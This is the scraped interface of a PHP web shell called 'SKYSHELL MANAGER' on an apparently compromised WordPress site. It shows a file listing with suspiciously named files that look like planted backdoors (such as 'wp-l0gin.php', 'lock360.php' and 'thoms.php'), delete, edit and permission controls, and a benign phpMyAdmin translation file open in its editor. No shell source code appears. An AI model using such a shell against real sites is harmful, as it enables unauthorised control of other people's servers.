📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: Loader.php
<?php declare(strict_types=1); /* Copyright (c) 2005 Steven Armstrong <sa at c-area dot ch> Copyright (c) 2009 Danilo Segan <danilo@kvota.net> Copyright (c) 2016 Michal Čihař <michal@cihar.com> This file is part of MoTranslator. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ namespace PhpMyAdmin\MoTranslator; use PhpMyAdmin\MoTranslator\Cache\CacheFactoryInterface; use PhpMyAdmin\MoTranslator\Cache\InMemoryCache; use function array_push; use function file_exists; use function getenv; use function in_array; use function preg_match; use function sprintf; class Loader { /** * Loader instance. * * @static * @var Loader */ private static $instance = null; /** * Factory to return a factory responsible for returning a `CacheInterface` * * @static * @var CacheFactoryInterface|null */ private static $cacheFactory = null; /** * Default gettext domain to use. * * @var string */ private $defaultDomain = ''; /** * Configured locale. * * @var string */ private $locale = ''; /** * Loaded domains. * * @var array<string,array<string,Translator>> */ private $domains = []; /** * Bound paths for domains. * * @var array<string,string> */ private $paths = ['' => './']; /** * Returns the singleton Loader object. * * @return Loader object */ public static function getInstance(): Loader { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } /** * Loads global localization functions. */ public static function loadFunctions(): void { require_once __DIR__ . '/functions.php'; } /** * Figure out all possible locale names and start with the most * specific ones. I.e. for sr_CS.UTF-8@latin, look through all of * sr_CS.UTF-8@latin, sr_CS@latin, sr@latin, sr_CS.UTF-8, sr_CS, sr. * * @param string $locale Locale code * * @return string[] list of locales to try for any POSIX-style locale specification */ public static function listLocales(string $locale): array { $localeNames = []; if ($locale) { if ( preg_match( '/^(?P<lang>[a-z]{2,3})' // language code . '(?:_(?P<country>[A-Z]{2}))?' // country code . '(?:\\.(?P<charset>[-A-Za-z0-9_]+))?' // charset . '(?:@(?P<modifier>[-A-Za-z0-9_]+))?$/', // @ modifier $locale, $matches ) ) { $lang = $matches['lang'] ?? null; $country = $matches['country'] ?? null; $charset = $matches['charset'] ?? null; $modifier = $matches['modifier'] ?? null; if ($modifier) { if ($country) { if ($charset) { array_push( $localeNames, sprintf('%s_%s.%s@%s', $lang, $country, $charset, $modifier) ); } array_push( $localeNames, sprintf('%s_%s@%s', $lang, $country, $modifier) ); } elseif ($charset) { array_push( $localeNames, sprintf('%s.%s@%s', $lang, $charset, $modifier) ); } array_push( $localeNames, sprintf('%s@%s', $lang, $modifier) ); } if ($country) { if ($charset) { array_push( $localeNames, sprintf('%s_%s.%s', $lang, $country, $charset) ); } array_push( $localeNames, sprintf('%s_%s', $lang, $country) ); } elseif ($charset) { array_push( $localeNames, sprintf('%s.%s', $lang, $charset) ); } array_push($localeNames, $lang); } // If the locale name doesn't match POSIX style, just include it as-is. if (! in_array($locale, $localeNames)) { array_push($localeNames, $locale); } } return $localeNames; } /** * Sets factory responsible for composing a `CacheInterface` */ public static function setCacheFactory(?CacheFactoryInterface $cacheFactory): void { self::$cacheFactory = $cacheFactory; } /** * Returns Translator object for domain or for default domain. * * @param string $domain Translation domain */ public function getTranslator(string $domain = ''): Translator { if (empty($domain)) { $domain = $this->defaultDomain; } if (! isset($this->domains[$this->locale])) { $this->domains[$this->locale] = []; } if (! isset($this->domains[$this->locale][$domain])) { if (isset($this->paths[$domain])) { $base = $this->paths[$domain]; } else { $base = './'; } $localeNames = $this->listLocales($this->locale); $filename = ''; foreach ($localeNames as $locale) { $filename = $base . '/' . $locale . '/LC_MESSAGES/' . $domain . '.mo'; if (file_exists($filename)) { break; } } // We don't care about invalid path, we will get fallback // translator here $moParser = new MoParser($filename); if (self::$cacheFactory instanceof CacheFactoryInterface) { $cache = self::$cacheFactory->getInstance($moParser, $this->locale, $domain); } else { $cache = new InMemoryCache($moParser); } $this->domains[$this->locale][$domain] = new Translator($cache); } return $this->domains[$this->locale][$domain]; } /** * Sets the path for a domain. * * @param string $domain Domain name * @param string $path Path where to find locales */ public function bindtextdomain(string $domain, string $path): void { $this->paths[$domain] = $path; } /** * Sets the default domain. * * @param string $domain Domain name */ public function textdomain(string $domain): void { $this->defaultDomain = $domain; } /** * Sets a requested locale. * * @param string $locale Locale name * * @return string Set or current locale */ public function setlocale(string $locale): string { if (! empty($locale)) { $this->locale = $locale; } return $this->locale; } /** * Detects currently configured locale. * * It checks: * * - global lang variable * - environment for LC_ALL, LC_MESSAGES and LANG * * @return string with locale name */ public function detectlocale(): string { if (isset($GLOBALS['lang'])) { return $GLOBALS['lang']; } $locale = getenv('LC_ALL'); if ($locale !== false) { return $locale; } $locale = getenv('LC_MESSAGES'); if ($locale !== false) { return $locale; } $locale = getenv('LANG'); if ($locale !== false) { return $locale; } return 'en'; } }
Save